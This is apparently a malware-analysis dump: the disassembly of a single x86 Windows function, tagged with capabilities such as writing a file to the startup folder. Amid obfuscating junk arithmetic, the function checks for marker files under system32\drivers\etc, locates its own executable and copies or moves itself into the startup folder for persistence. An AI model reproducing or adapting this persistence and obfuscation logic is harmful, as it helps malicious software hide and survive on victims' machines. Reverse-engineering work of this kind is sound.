Function at 0x40dfe0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x45e640]
mov dword [esp + 0x300], eax
push ebx
push esi
mov esi, dword [0x45cce4]
mov eax, 0x4f576647
imul esi
mov eax, dword [0x45ccd0]
sar edx, 8
mov ecx, edx
push edi
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cccc]
lea edi, [eax + edx]
mov eax, dword [0x45cce0]
imul edi, edi, 0x1bd
imul eax, eax, 0x25d
add edi, eax
mov eax, 0x71625345
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x38e38e39
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
mov esi, dword [0x45ccd8]
imul edx, edx, 0xe1
add eax, ecx
add eax, edi
add edx, eax
mov eax, dword [0x45ccc8]
mov edi, dword [str._r_____r____]
mov dword [0x45ccdc], edx
mov edx, dword [0x45ccd4]
lea ebx, [edx + eax]
mov eax, 0x38e38e39
imul ebx, ebx, 0x9c
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [edi + edi*8]
shl edx, 6
add ebx, edx
mov eax, 0x93459be7
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x59493e15
imul edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, ecx
push 0
push str.C:_WINDoWS_system32driverseTc_seRvicE1.ini
mov dword [0x45cce4], eax
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
je 0x40e5c0
push 0
push str.C:_WINDoWS_system32driverseTc_sErvIce2.ini
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
je 0x40e5c0
mov ecx, dword [0x45ccd0]
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce4]
mov esi, eax
mov eax, 0x71625345
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x7f411e53
imul ecx
sar edx, 8
mov edi, edx
add esi, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
mov ecx, dword [0x45cce0]
imul ecx, ecx, 0x61
sar edx, 7
push ebp
mov eax, edx
shr eax, 0x1f
add edi, edx
push 0x104
lea edx, [esp + 0x214]
add eax, edi
push edx
add eax, ecx
push 0
mov dword [0x45ccc8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.00430ad0
push str..tmp
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x20]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.0042fcd1
mov edx, dword [0x45ccdc]
mov ecx, dword [0x45ccd8]
mov eax, 0x4f576647
imul edx
sar edx, 8
mov edi, ecx
imul edi, edi, 0x33a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce8]
sub edi, eax
imul edx, edx, 0x21e
mov eax, dword [0x45ccc8]
imul eax, eax, 0x242
add edi, edx
mov edx, dword [0x45ccd0]
add edi, eax
mov eax, 0x59493e15
imul edx
sar edx, 7
mov eax, edx
add esp, 0x18
shr eax, 0x1f
mov ebp, dword [0x45cce4]
add eax, edx
sub edi, eax
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
push 0
add ecx, edi
push 0x18
lea edx, [esp + 0x118]
sub ecx, ebp
push edx
sub ecx, 0xe1
push 0
mov dword [0x45ccd0], ecx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e263
sub eax, ecx
push esi
lea eax, [esp + eax + 0x114]
push 0x44d20c
push eax
call fcn.0042fcd1
mov ecx, dword [0x45cce8]
mov eax, 0xf1d48bd
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov edi, dword [0x45ccd4]
mov eax, 0x7f411e53
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x38e38e39
imul edi
mov esi, dword [0x45cce0]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x45ccc8]
lea edx, [eax + eax*8]
mov eax, ecx
imul eax, eax, 0xe1
shl edx, 6
add ebx, edx
sub ebx, eax
mov eax, 0xd20d20d3
imul esi
add edx, esi
imul esi, esi, 0x9c
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add eax, esi
add esp, 0xc
mov dword [0x45ccd8], eax
xor esi, esi
jmp 0x40e321
mov eax, dword [0x45ccd8]
mov edi, dword [0x45ccd4]
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd0]
imul eax, eax, 0x25d
imul edi, edi, 0x21e
lea ebp, [ecx + edx]
imul ebp, ebp, 0x16f
add ebp, eax
mov eax, 0x93459be7
imul ecx
add edx, ecx
mov ecx, dword [0x45cccc]
sub ebp, edi
sar edx, 8
mov edi, edx
add ebp, edx
mov eax, 0x59493e15
imul ecx
mov ecx, dword [0x45ccdc]
sar edx, 7
imul ecx, ecx, 0xe1
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, ebp
sub edi, eax
lea edx, [esp + 0x10]
sub edi, ecx
push 0
push edx
mov dword [0x45cce0], edi
call fcn.0043006d
add esp, 8
cmp eax, 0xffffffff
je 0x40e3a7
lea eax, [esp + 0x10]
push eax
call ebx
inc esi
cmp esi, 0x64
jl 0x40e310
mov esi, dword [0x45ccc8]
mov ecx, dword [0x45ccd0]
mov edx, dword [0x45ccd8]
lea edi, [edx + ecx]
mov eax, 0x38e38e39
imul edi, edi, 0x203
imul esi
sar edx, 7
add edi, edx
mov ebx, edx
mov eax, 0xd8a5df
imul dword [str._r_____r____]
sar edx, 1
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
add eax, edx
add ebx, edi
sub ebx, eax
mov edi, dword [esp + 0x318]
mov eax, 0xd20d20d3
imul esi
lea ecx, [ecx + ecx*8]
shl ecx, 6
add edx, esi
mov esi, dword [0x45cce4]
sub ebx, ecx
sar edx, 7
add ebx, edx
mov ecx, edx
mov edx, esi
imul edx, edx, 0xe1
shr ecx, 0x1f
add ecx, ebx
sub ecx, edx
test edi, edi
mov dword [0x45cce8], ecx
je 0x40e432
cmp edi, 2
jne 0x40e511
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x18]
push ecx
call ebx
test eax, eax
jne 0x40e505
mov esi, dword [0x45ccd4]
mov ecx, dword [0x45cccc]
mov eax, 0x4f576647
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x4f576647
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0x21e
mov ebp, eax
sub ebp, edi
add ebp, edx
mov eax, 0x38e38e39
imul esi
mov eax, dword [0x45ccdc]
sar edx, 7
imul eax, eax, 0x242
mov esi, edx
add ebp, edx
mov edx, ecx
imul edx, edx, 0x203
shr esi, 0x1f
add esi, ebp
add esi, eax
add esi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
push 6
add eax, edx
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
sub esi, eax
push edx
mov dword [str._r_____r____], esi
call ebx
pop ebp
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x300]
call fcn.0042fb01
add esp, 0x304
ret
mov esi, dword [0x45cce4]
mov ecx, dword [0x45cce8]
mov ebx, dword [0x45ccd4]
imul ecx, ecx, 0x21e
imul esi, esi, 0xe1
mov eax, 0x71625345
imul ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0x38e38e39
imul ebx
sub ebp, ecx
mov ecx, dword [0x45cce0]
sar edx, 7
imul ecx, ecx, 0x203
mov ebx, edx
add ebp, edx
shr ebx, 0x1f
add ebx, ebp
add ebx, ecx
mov ecx, dword [0x45cccc]
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
add ebx, esi
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [str._r_____r____]
add eax, ebx
sub eax, edx
add eax, 0x16f
cmp edi, 1
mov dword [0x45cccc], eax
je 0x40e592
cmp edi, 2
jne 0x40e5a7
push 0
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x300]
call fcn.0042fb01
add esp, 0x304
ret
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
call fcn.0042fb01
add esp, 0x304
ret